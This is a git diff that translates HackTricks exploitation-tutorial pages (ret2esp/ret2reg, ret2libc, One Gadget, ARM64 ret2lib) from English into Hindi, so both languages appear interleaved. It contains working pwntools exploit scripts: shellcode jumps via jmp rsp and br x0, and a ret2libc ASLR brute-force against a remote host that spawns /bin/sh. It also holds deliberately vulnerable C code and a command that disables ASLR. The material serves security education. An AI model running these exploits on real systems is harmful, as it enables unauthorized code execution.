आप इस तकनीक का एक उदाहरण [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) में एक अंतिम एक्सप्लॉइट के साथ पा सकते हैं:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
|
||||
payload = b'A' * 120
|
||||
payload += p64(jmp_rsp)
|
||||
payload += asm('''
|
||||
sub rsp, 10;
|
||||
jmp rsp;
|
||||
sub rsp, 10;
|
||||
jmp rsp;
|
||||
''')
|
||||
|
||||
pause()
|
||||
p.sendlineafter('RSP!\n', payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
|
||||
|
||||
आप इस तकनीक का एक और उदाहरण देख सकते हैं [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)। यहाँ एक बफर ओवरफ्लो है जिसमें NX सक्षम नहीं है, एक गैजेट का उपयोग किया गया है **`$esp` के पते को कम करने के लिए** और फिर `jmp esp;` का उपयोग करके शेलकोड पर कूदने के लिए:
|
||||
```python
|
||||
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
|
||||
from pwn import *
|
||||
@ -81,47 +76,41 @@ target.sendline(payload)
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
```
|
||||
|
||||
## Ret2reg
|
||||
|
||||
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
|
||||
इसी तरह, यदि हम जानते हैं कि एक फ़ंक्शन उस पते को लौटाता है जहाँ शेलकोड संग्रहीत है, तो हम **`call eax`** या **`jmp eax`** निर्देशों का उपयोग कर सकते हैं (जिसे **ret2eax** तकनीक के रूप में जाना जाता है), जो हमारे शेलकोड को निष्पादित करने का एक और तरीका प्रदान करता है। जैसे eax, **कोई अन्य रजिस्टर** जिसमें एक दिलचस्प पता हो, का उपयोग किया जा सकता है (**ret2reg**).
|
||||
|
||||
### Example
|
||||
### उदाहरण
|
||||
|
||||
You can find some examples here: 
|
||||
आप कुछ उदाहरण यहाँ पा सकते हैं: 
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||||
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
|
||||
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
|
||||
- **`strcpy`** **`eax`** में उस बफर का पता संग्रहीत करेगा जहाँ शेलकोड संग्रहीत था और **`eax`** को अधिलेखित नहीं किया जा रहा है, इसलिए `ret2eax` का उपयोग करना संभव है।
|
||||
|
||||
## ARM64
|
||||
|
||||
### Ret2sp
|
||||
|
||||
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
|
||||
|
||||
ARM64 में **कोई** निर्देश नहीं हैं जो **SP रजिस्टर पर कूदने** की अनुमति देते हैं। यह संभव हो सकता है कि एक गैजेट मिले जो **sp को एक रजिस्टर में स्थानांतरित करता है और फिर उस रजिस्टर पर कूदता है**, लेकिन मेरी काली की libc में मुझे ऐसा कोई गैजेट नहीं मिला:
|
||||
```bash
|
||||
for i in `seq 1 30`; do
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||
done
|
||||
```
|
||||
|
||||
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
|
||||
मैंने केवल वही खोजा जो उस रजिस्ट्रि के मान को बदल देगा जहाँ sp को कूदने से पहले कॉपी किया गया था (इसलिए यह बेकार हो जाएगा):
|
||||
|
||||
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ret2reg
|
||||
|
||||
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
|
||||
|
||||
यदि किसी रजिस्ट्रि का एक दिलचस्प पता है, तो इसे कूदने के लिए केवल उचित निर्देश खोजकर कूदना संभव है। आप कुछ ऐसा उपयोग कर सकते हैं:
|
||||
```bash
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
|
||||
```
|
||||
ARM64 में, यह **`x0`** है जो एक फ़ंक्शन का रिटर्न वैल्यू स्टोर करता है, इसलिए यह हो सकता है कि x0 एक बफर का पता स्टोर करता है जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है जिसमें निष्पादित करने के लिए एक शेलकोड होता है।
|
||||
|
||||
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
|
||||
|
||||
Example code:
|
||||
|
||||
उदाहरण कोड:
|
||||
```c
|
||||
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
|
||||
|
||||
@ -129,34 +118,32 @@ Example code:
|
||||
#include <string.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("br x0");
|
||||
return;
|
||||
if (do_arg == 1)
|
||||
__asm__("br x0");
|
||||
return;
|
||||
}
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
return buffer;
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = vulnerable_function();
|
||||
do_stuff(2)
|
||||
return 0;
|
||||
char* b = vulnerable_function();
|
||||
do_stuff(2)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
|
||||
फंक्शन के डिसअसेंबली की जांच करने पर यह देखा जा सकता है कि **बफर का पता** (bof के लिए संवेदनशील और **उपयोगकर्ता द्वारा नियंत्रित**) **`x0` में संग्रहीत** है बफर ओवरफ्लो से लौटने से पहले:
|
||||
|
||||
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
|
||||
यह भी संभव है कि **`do_stuff`** फंक्शन में **गैजेट **`br x0`** पाया जाए:
|
||||
|
||||
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
|
||||
|
||||
हम उस गैजेट का उपयोग करेंगे क्योंकि बाइनरी **बिना PIE के संकलित** है। एक पैटर्न का उपयोग करके यह देखा जा सकता है कि **बफर ओवरफ्लो का ऑफसेट 80 है**, इसलिए एक्सप्लॉइट होगा:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -171,15 +158,14 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
|
||||
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
|
||||
> यदि `fgets` के बजाय कुछ ऐसा **`read`** का उपयोग किया गया होता, तो **केवल रिटर्न एड्रेस के अंतिम 2 बाइट्स को ओवरराइट करके** PIE को बायपास करना संभव होता, ताकि `br x0;` इंस्ट्रक्शन पर वापस लौट सकें बिना पूरे एड्रेस को जाने।\
|
||||
> `fgets` के साथ यह काम नहीं करता क्योंकि यह **अंत में एक नल (0x00) बाइट जोड़ता है**।
|
||||
|
||||
## Protections
|
||||
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): यदि स्टैक निष्पादन योग्य नहीं है तो यह मदद नहीं करेगा क्योंकि हमें शेलकोड को स्टैक में रखना है और इसे निष्पादित करने के लिए कूदना है।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): ये किसी इंस्ट्रक्शन को esp या किसी अन्य रजिस्टर पर कूदने के लिए ढूंढना कठिन बना सकते हैं।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -2,103 +2,90 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basic Information**
|
||||
## **बुनियादी जानकारी**
|
||||
|
||||
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
|
||||
**Ret2Libc** का सार यह है कि यह एक कमजोर प्रोग्राम के निष्पादन प्रवाह को एक साझा पुस्तकालय (जैसे, **system**, **execve**, **strcpy**) के भीतर एक फ़ंक्शन की ओर पुनर्निर्देशित करता है, बजाय इसके कि हमलावर द्वारा प्रदान किए गए शेलकोड को स्टैक पर निष्पादित किया जाए। हमलावर एक पेलोड तैयार करता है जो स्टैक पर लौटने के पते को उस पुस्तकालय फ़ंक्शन की ओर मोड़ता है, जबकि आवश्यक तर्कों को कॉलिंग कन्वेंशन के अनुसार सही तरीके से सेट करने की व्यवस्था भी करता है।
|
||||
|
||||
### **Example Steps (simplified)**
|
||||
### **उदाहरण चरण (सरल किया हुआ)**
|
||||
|
||||
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
|
||||
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
|
||||
- कॉल करने के लिए फ़ंक्शन का पता प्राप्त करें (जैसे system) और कॉल करने के लिए कमांड (जैसे /bin/sh)
|
||||
- पहले तर्क को कमांड स्ट्रिंग की ओर इंगित करने और फ़ंक्शन के लिए निष्पादन प्रवाह को पास करने के लिए एक ROP श्रृंखला उत्पन्न करें
|
||||
|
||||
## Finding the addresses
|
||||
|
||||
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
|
||||
## पते खोजना
|
||||
|
||||
- मान लीजिए कि `libc` जो उपयोग किया जा रहा है वह वर्तमान मशीन से है, आप यह पता लगा सकते हैं कि इसे मेमोरी में कहाँ लोड किया जाएगा:
|
||||
```bash
|
||||
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
||||
```
|
||||
|
||||
If you want to check if the ASLR is changing the address of libc you can do:
|
||||
|
||||
यदि आप यह जांचना चाहते हैं कि क्या ASLR libc के पते को बदल रहा है, तो आप कर सकते हैं:
|
||||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```
|
||||
|
||||
- Knowing the libc used it's also possible to find the offset to the `system` function with:
|
||||
|
||||
- libc का ज्ञान होने पर `system` फ़ंक्शन के लिए ऑफ़सेट ढूंढना भी संभव है:
|
||||
```bash
|
||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||
```
|
||||
|
||||
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
|
||||
|
||||
- libc का ज्ञान होने पर यह संभव है कि `/bin/sh` फ़ंक्शन के लिए ऑफ़सेट पाया जा सके:
|
||||
```bash
|
||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
### gdb-peda / GEF का उपयोग करना
|
||||
|
||||
### Using gdb-peda / GEF
|
||||
|
||||
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
|
||||
|
||||
libc का ज्ञान होने पर, Peda या GEF का उपयोग करके **system** फ़ंक्शन, **exit** फ़ंक्शन और स्ट्रिंग **`/bin/sh`** का पता लगाना भी संभव है:
|
||||
```bash
|
||||
p system
|
||||
p exit
|
||||
find "/bin/sh"
|
||||
```
|
||||
### /proc/\<PID>/maps का उपयोग करना
|
||||
|
||||
### Using /proc/\<PID>/maps
|
||||
यदि प्रक्रिया हर बार जब आप इसके साथ बात करते हैं (नेटवर्क सर्वर) **बच्चे** बना रही है, तो उस फ़ाइल को **पढ़ने** की कोशिश करें (संभवतः आपको रूट होना पड़ेगा)।
|
||||
|
||||
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
|
||||
|
||||
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
|
||||
यहाँ आप **सटीक रूप से देख सकते हैं कि libc प्रक्रिया के अंदर कहाँ लोड हो रहा है** और **प्रक्रिया के हर बच्चे के लिए कहाँ लोड होने वाला है**।
|
||||
|
||||
.png>)
|
||||
|
||||
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
|
||||
इस मामले में यह **0xb75dc000** में लोड हो रहा है (यह libc का बेस पता होगा)
|
||||
|
||||
## Unknown libc
|
||||
## अज्ञात libc
|
||||
|
||||
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
|
||||
यह संभव है कि आप **नहीं जानते कि बाइनरी कौन सा libc लोड कर रहा है** (क्योंकि यह एक सर्वर पर हो सकता है जहाँ आपके पास कोई पहुँच नहीं है)। उस मामले में आप **कुछ पते लीक करने के लिए भेद्यता का दुरुपयोग कर सकते हैं और पता लगा सकते हैं कि कौन सी libc** लाइब्रेरी का उपयोग किया जा रहा है:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-address/
|
||||
{{#endref}}
|
||||
|
||||
And you can find a pwntools template for this in:
|
||||
और आप इसके लिए एक pwntools टेम्पलेट यहाँ पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-address/rop-leaking-libc-template.md
|
||||
{{#endref}}
|
||||
|
||||
### Know libc with 2 offsets
|
||||
### 2 ऑफसेट के साथ libc जानना
|
||||
|
||||
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
|
||||
पृष्ठ [https://libc.blukat.me/](https://libc.blukat.me/) की जाँच करें और libc के अंदर फ़ंक्शनों के **कुछ पते** का उपयोग करें ताकि **उपयोग की गई संस्करण** का पता लगाया जा सके।
|
||||
|
||||
## Bypassing ASLR in 32 bits
|
||||
## 32 बिट में ASLR को बायपास करना
|
||||
|
||||
These brute-forcing attacks are **only useful for 32bit systems**.
|
||||
|
||||
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
|
||||
ये ब्रूट-फोर्सिंग हमले **केवल 32 बिट सिस्टम के लिए उपयोगी हैं**।
|
||||
|
||||
- यदि एक्सप्लॉइट स्थानीय है, तो आप libc के बेस पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं (32 बिट सिस्टम के लिए उपयोगी):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
|
||||
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
|
||||
- यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप **`libc` फ़ंक्शन `usleep` के पते को ब्रूट-फोर्स करने** की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर **सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त समय लेता है**, तो आपने इस फ़ंक्शन का पता लगा लिया है।
|
||||
|
||||
## One Gadget
|
||||
|
||||
Execute a shell just jumping to **one** specific **address** in libc:
|
||||
एक शेल को केवल **एक** विशिष्ट **पते** पर libc में कूदकर निष्पादित करें:
|
||||
|
||||
{{#ref}}
|
||||
one-gadget.md
|
||||
{{#endref}}
|
||||
|
||||
## x86 Ret2lib Code Example
|
||||
|
||||
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
|
||||
## x86 Ret2lib कोड उदाहरण
|
||||
|
||||
इस उदाहरण में ASLR ब्रूट-फोर्स कोड में एकीकृत है और कमजोर बाइनरी एक दूरस्थ सर्वर पर स्थित है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002)
|
||||
c.recvline()
|
||||
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
p = ""
|
||||
p += p32(off + 0x0003cb20) #system
|
||||
p += "CCCC" #GARBAGE, could be address of exit()
|
||||
p += p32(off + 0x001388da) #/bin/sh
|
||||
payload = 'A'*0x20010 + p
|
||||
c.send(payload)
|
||||
c.interactive()
|
||||
p = ""
|
||||
p += p32(off + 0x0003cb20) #system
|
||||
p += "CCCC" #GARBAGE, could be address of exit()
|
||||
p += p32(off + 0x001388da) #/bin/sh
|
||||
payload = 'A'*0x20010 + p
|
||||
c.send(payload)
|
||||
c.interactive()
|
||||
```
|
||||
## x64 Ret2lib कोड उदाहरण
|
||||
|
||||
## x64 Ret2lib Code Example
|
||||
|
||||
Check the example from:
|
||||
उदाहरण देखें:
|
||||
|
||||
{{#ref}}
|
||||
../
|
||||
{{#endref}}
|
||||
|
||||
## ARM64 Ret2lib Example
|
||||
## ARM64 Ret2lib उदाहरण
|
||||
|
||||
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
|
||||
ARM64 के मामले में, ret निर्देश उस स्थान पर कूदता है जहाँ x30 रजिस्टर इशारा कर रहा है और न कि जहाँ स्टैक रजिस्टर इशारा कर रहा है। इसलिए यह थोड़ा अधिक जटिल है।
|
||||
|
||||
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
|
||||
ARM64 में एक निर्देश वही करता है जो निर्देश करता है (निर्देशों के बीच में कूदना और उन्हें नए में बदलना संभव नहीं है)।
|
||||
|
||||
Check the example from:
|
||||
उदाहरण देखें:
|
||||
|
||||
{{#ref}}
|
||||
ret2lib-+-printf-leak-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
## Ret-into-printf (or puts)
|
||||
## Ret-into-printf (या puts)
|
||||
|
||||
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
|
||||
यह **प्रक्रिया से जानकारी लीक करने** की अनुमति देता है `printf`/`puts` को कुछ विशिष्ट डेटा को तर्क के रूप में डालकर कॉल करके। उदाहरण के लिए, `puts` के GOT के पते को `puts` के निष्पादन में डालने से **मेमोरी में `puts` का पता लीक होगा**।
|
||||
|
||||
## Ret2printf
|
||||
|
||||
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
|
||||
इसका मूलतः मतलब है **Ret2lib का दुरुपयोग करना ताकि इसे `printf` फॉर्मेट स्ट्रिंग्स की कमजोरियों में बदल दिया जाए** `ret2lib` का उपयोग करके printf को उन मानों के साथ कॉल करना जो इसका शोषण करते हैं (सुनने में बेकार लगता है लेकिन संभव है):
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
{{#endref}}
|
||||
|
||||
## Other Examples & references
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
- Ret2lib, given a leak to the address of a function in libc, using one gadget
|
||||
- Ret2lib, libc में एक फ़ंक्शन के पते को लीक करने के लिए, एक गेजेट का उपयोग करना
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
|
||||
- 64 बिट, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम एक ओवरफ्लो को भरना है जब तक कि कैनरी का बाइट 0x00 न हो जाए ताकि फिर puts को कॉल किया जा सके और इसे लीक किया जा सके। कैनरी के साथ एक ROP गेजेट बनाया जाता है जो puts को कॉल करता है ताकि GOT से puts का पता लीक किया जा सके और फिर `system('/bin/sh')` को कॉल करने के लिए एक ROP गेजेट।
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||||
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
|
||||
- 64 बिट, ASLR सक्षम, कोई कैनरी नहीं, मुख्य से एक चाइल्ड फ़ंक्शन में स्टैक ओवरफ्लो। GOT से puts के पते को लीक करने के लिए puts को कॉल करने के लिए ROP गेजेट और फिर एक गेजेट को कॉल करें।
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
|
||||
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
|
||||
- 64 बिट, कोई pie नहीं, कोई कैनरी नहीं, कोई relro नहीं, nx। लिखने के फ़ंक्शन का उपयोग करके लिखने के पते (libc) को लीक करता है और एक गेजेट को कॉल करता है।
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
|
||||
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
|
||||
- स्टैक से कैनरी को लीक करने के लिए एक फॉर्मेट स्ट्रिंग का उपयोग करता है और `/bin/sh` के पते के साथ सिस्टम में कॉल करने के लिए एक बफर ओवरफ्लो करता है (यह GOT में है)।
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
|
||||
- 32 बिट, कोई relro नहीं, कोई कैनरी नहीं, nx, pie। स्टैक से libc और heap के पते को लीक करने के लिए एक खराब इंडेक्सिंग का दुरुपयोग करें। `system('/bin/sh')` को कॉल करने के लिए ret2lib का दुरुपयोग करें (heap का पता एक जांच को बायपास करने के लिए आवश्यक है)।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,34 +4,30 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
|
||||
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
|
||||
[**One Gadget**](https://github.com/david942j/one_gadget) आपको **system** और **"/bin/sh"** का उपयोग किए बिना एक शेल प्राप्त करने की अनुमति देता है। **One Gadget** libc पुस्तकालय के अंदर एक ऐसा तरीका खोजेगा जिससे आप केवल एक **address** का उपयोग करके शेल प्राप्त कर सकें (`execve("/bin/sh")`)।\
|
||||
हालांकि, सामान्यतः कुछ सीमाएँ होती हैं, सबसे सामान्य और आसानी से टालने योग्य सीमाएँ हैं जैसे कि `[rsp+0x30] == NULL`। चूंकि आप **RSP** के अंदर के मानों को नियंत्रित करते हैं, इसलिए आपको कुछ और NULL मान भेजने की आवश्यकता है ताकि यह सीमा टल सके।
|
||||
|
||||
.png>)
|
||||
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
|
||||
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
|
||||
आपको One Gadget द्वारा निर्दिष्ट पते पर **`libc`** लोड होने का आधार पता **जोड़ना** होगा।
|
||||
|
||||
> [!TIP]
|
||||
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
|
||||
> One Gadget **Arbitrary Write 2 Exec तकनीकों** के लिए **महान मदद** है और यह **ROP** **चेन** को **सरल** बना सकता है क्योंकि आपको केवल एक पते को कॉल करने की आवश्यकता होती है (और आवश्यकताओं को पूरा करना होता है)।
|
||||
|
||||
### ARM64
|
||||
|
||||
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
|
||||
गिटहब रिपॉजिटरी में उल्लेख किया गया है कि **ARM64 का समर्थन** इस उपकरण द्वारा किया गया है, लेकिन जब इसे Kali 2023.3 के libc में चलाया जाता है **तो यह कोई गैजेट नहीं ढूंढता**।
|
||||
|
||||
## Angry Gadget
|
||||
|
||||
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
|
||||
If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
|
||||
|
||||
[**गिटहब रिपॉजिटरी**](https://github.com/ChrisTheCoolHut/angry_gadget) से: [OneGadget](https://github.com/david942j/one_gadget) से प्रेरित, यह उपकरण पायथन में लिखा गया है और गैजेट्स के लिए `execve('/bin/sh', NULL, NULL)` को निष्पादित करने के लिए बाधाओं का परीक्षण करने के लिए [angr](https://github.com/angr/angr) का उपयोग करता है।\
|
||||
यदि आपने OneGadget से प्रयास करने के लिए गैजेट्स समाप्त कर दिए हैं, तो Angry Gadget जटिल बाधाओं के साथ और भी बहुत कुछ प्रदान करता है!
|
||||
```bash
|
||||
pip install angry_gadget
|
||||
|
||||
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,65 +2,58 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ret2lib - NX bypass with ROP (no ASLR)
|
||||
|
||||
## Ret2lib - NX बायपास ROP के साथ (कोई ASLR नहीं)
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void bof()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
}
|
||||
|
||||
void main()
|
||||
{
|
||||
printfleak();
|
||||
bof();
|
||||
printfleak();
|
||||
bof();
|
||||
}
|
||||
```
|
||||
|
||||
Compile without canary:
|
||||
|
||||
कैनरी के बिना संकलित करें:
|
||||
```bash
|
||||
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
|
||||
# Disable aslr
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### ऑफसेट खोजें
|
||||
|
||||
### Find offset
|
||||
### x30 ऑफसेट
|
||||
|
||||
### x30 offset
|
||||
|
||||
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
|
||||
**`pattern create 200`** के साथ एक पैटर्न बनाकर, इसका उपयोग करके और **`pattern search $x30`** के साथ ऑफसेट की जांच करते हुए, हम देख सकते हैं कि ऑफसेट **`108`** (0x6c) है।
|
||||
|
||||
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
